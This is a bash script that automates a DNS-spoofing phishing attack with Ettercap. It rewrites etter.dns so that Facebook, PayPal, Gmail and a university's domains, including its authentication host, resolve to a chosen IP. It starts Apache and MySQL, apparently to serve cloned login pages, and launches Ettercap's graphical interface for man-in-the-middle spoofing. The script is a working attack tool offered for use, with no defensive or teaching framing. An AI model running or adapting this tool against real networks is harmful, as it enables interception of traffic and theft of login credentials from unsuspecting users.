etter

#!/bin/bash

#################### -- DECLARATIONS -- #######################################

declare -r EtterPath="/etc/ettercap/etter.dns"

addr="127.0.0.1"
declare -i printHelp=0
declare -i service=0
declare -i ettercap=0
declare -i stop=0
declare -i foundError=0
declare -i x=0

################### -- COLORS -- ################################

declare -r red="\033[1;31m"
declare -r blue="\033[1;34m"
declare -r green="\e[1;32m"
declare -r yellow="\e[1;33m"
declare -r purple="\e[5;35m"
declare -r white="\e[1;37m"

################## -- FUNCTIONS -- ##################################

function welcome(){
	
sleep 0.2
printf "$green ________ $red __________ $blue __________ $yellow ________ $purple  ________  \n"
sleep 0.2
printf "$green | ______|$red |___  ____|$blue |___  ____|$yellow | ______|$purple |  ____  | \n"
sleep 0.2
printf "$green | |_____ $red     | |    $blue     | |	 $yellow  | |_____$purple  | |____| | \n"
sleep 0.2
printf "$green | ______|$red     | |    $blue     | |	 $yellow  | ______|$purple |  ______| \n"
sleep 0.2
printf "$green | |_____ $red     | |    $blue     | |	 $yellow  | |_____ $purple | |\_\     \n"
sleep 0.2
printf "$green |_______|$red     |_|    $blue     |_|	 $yellow  |_______|$purple |_| \_\    \n"
sleep 0.2
printf "$white														\n"

}

function print_help(){
	
	echo
	echo -e "${white}etter.sh -- Tool for Ettercap DNS file"
	echo
	echo "Usage : "
	echo "			etter [OPTIONS]"
	echo
	echo "[OPTIONS] :"
	echo
	echo "	-i --ip  YOUR IP	: set the selected ip as the redirection ip"
	echo "				  127.0.0.1 is set as default"
	echo "	-s --services		: if the -s option is used apache2 and mysql servers will start"
	echo "				  requires the two services to be installed"
	echo "	-x			: Stop all services"
	echo "	-e --ettercap		: start ettercap in graphical mode"
	echo "	-h --help		: printf this help and exit"
	echo
	echo -e "Example : ${blue}etter --ip 192.168.1.1 -s -e"
	echo
}

function start_services(){
	echo
	echo -e "$blue[Starting Apach2 service ...]"
	service apache2 start
	echo -e "$green[Apache2 service started]"
	echo
	sleep 2
	echo -e "$blue[Starting mysql service ...]"
	service mysql start
	echo -e "$green[MySql service started]"
	echo
	sleep 0.2
	echo -e "$yellow[All services started]"
	echo
}

function start_ettercap(){
	echo
	echo -e "$blue[Starting Ettercap ...]"
	sleep 2
	ettercap -G &
	echo -e "$green[Ettercap started]"
	echo
}

function stop_services(){
	echo
	echo -e "$red[Stopping Apach2 service ...]"
	service apache2 stop
	echo -e "$green[Apache2 service stopped]"
	echo
	sleep 2
	echo -e "$red[Stopping mysql service ...]"
	service mysql stop
	echo -e "$green[MySql service stopped]"
	echo
}

function modif(){		
	echo -e "$blue[Starting the modification of etter.dsn file]"

	echo "*facebook.com		A	$addr/facebook.com" > $EtterPath
	echo "*paypal.com			A	$addr/paypal.com" >> $EtterPath
	echo "*gmail.com			A	$addr/gmail.com" >> $EtterPath
	echo "*univ-tlemcen.dz		A	$addr/univ-tlemcen.dz" >> $EtterPath
	echo >> $EtterPath
	echo "*.univ-tlemcen.dz		A	$addr/univ-tlemcen.dz" >> $EtterPath
	echo "*.facebook.com		A	$addr/facebook.com" >> $EtterPath
	echo "*.paypal.com		A	$addr/paypal.com" >> $EtterPath
	echo "*.gmail.com			A	$addr/gmail.com" >> $EtterPath
	echo >> $EtterPath
	echo "auth.univ-tlemcen.dz		A	$addr/univ-tlemcen.dz" >> $EtterPath
	echo "www.facebook.com	A	$addr/facebook.com" >> $EtterPath
	echo "www.paypal.com		A	$addr/paypal.com" >> $EtterPath
	echo "www.gmail.com		A	$addr/gmail.com" >> $EtterPath

	sleep 2
	echo
#########################################################################
#	echo "*microsoft.com		A	$addr/bullshit.com" >> $EtterPath   #
#########################################################################
}

function testx(){

	if [ "$x" -eq 0 ]; then
		echo -e "${white}Do you want to edit the file with '$addr' "
		echo
		echo -e "	${green}1- Yes"
		echo -e "	${red}2- No"
		echo
		printf "${blue}Enter your choice : "
		read choice
		if [ "$choice" -eq 1 ]; then 
			x=1
		elif [ "$choice" -eq 2 ]; then
			x=0
		else 
			echo -e "${red}Invalid Choice"
			testx
		fi
	fi
}

function testip(){
	if [[ "$addr" =~ (([01]{,1}[0-9]{1,2}|2[0-4][0-9]|25[0-5])\.([01]{,1}[0-9]{1,2}|2[0-4][0-9]|25[0-5])\.([01]{,1}[0-9]{1,2}|2[0-4][0-9]|25[0-5])\.([01]{,1}[0-9]{1,2}|2[0-4][0-9]|25[0-5]))$ ]]; then
		echo
	else
		echo -e "${red}Invalid IP Adrress"
		exit 1
	fi
	echo
}

########################## -- SCRIPT -- #######################################

if [ "$#" -eq 0 ]; then
	print_help
	exit 1
fi

while [ "$#" -ne 0 ]
do
	case "$1" in
		-h | -help | --help) 
			printHelp=1 
			shift 
			;;
		-s | --service | --services)
			service=1
			shift
			;;
		-e | --ettercap)
			ettercap=1
			shift
			;;
		-x)
			stop=1
			shift
			;;
		-i | --ip)
			addr="$2"
			x=1
			shift
			;;
		*)
			shift
			;;
	esac
done


if [ "$printHelp" = "1" ]; then
	print_help
	exit 1
fi

if [ "$stop" = "1" ]; then
	stop_services
	exit 1
fi

testip
	
## -- WELCOME -- ##
welcome
###################

testx

if [ "$service" = "1" ]; then
	start_services
fi

if [ "$ettercap" = "1" ]; then
	start_ettercap
fi

if [ "$x" -eq 1 ]; then
	modif
fi

sleep 0.3
echo -e "$green[All Done !!]"
exit 1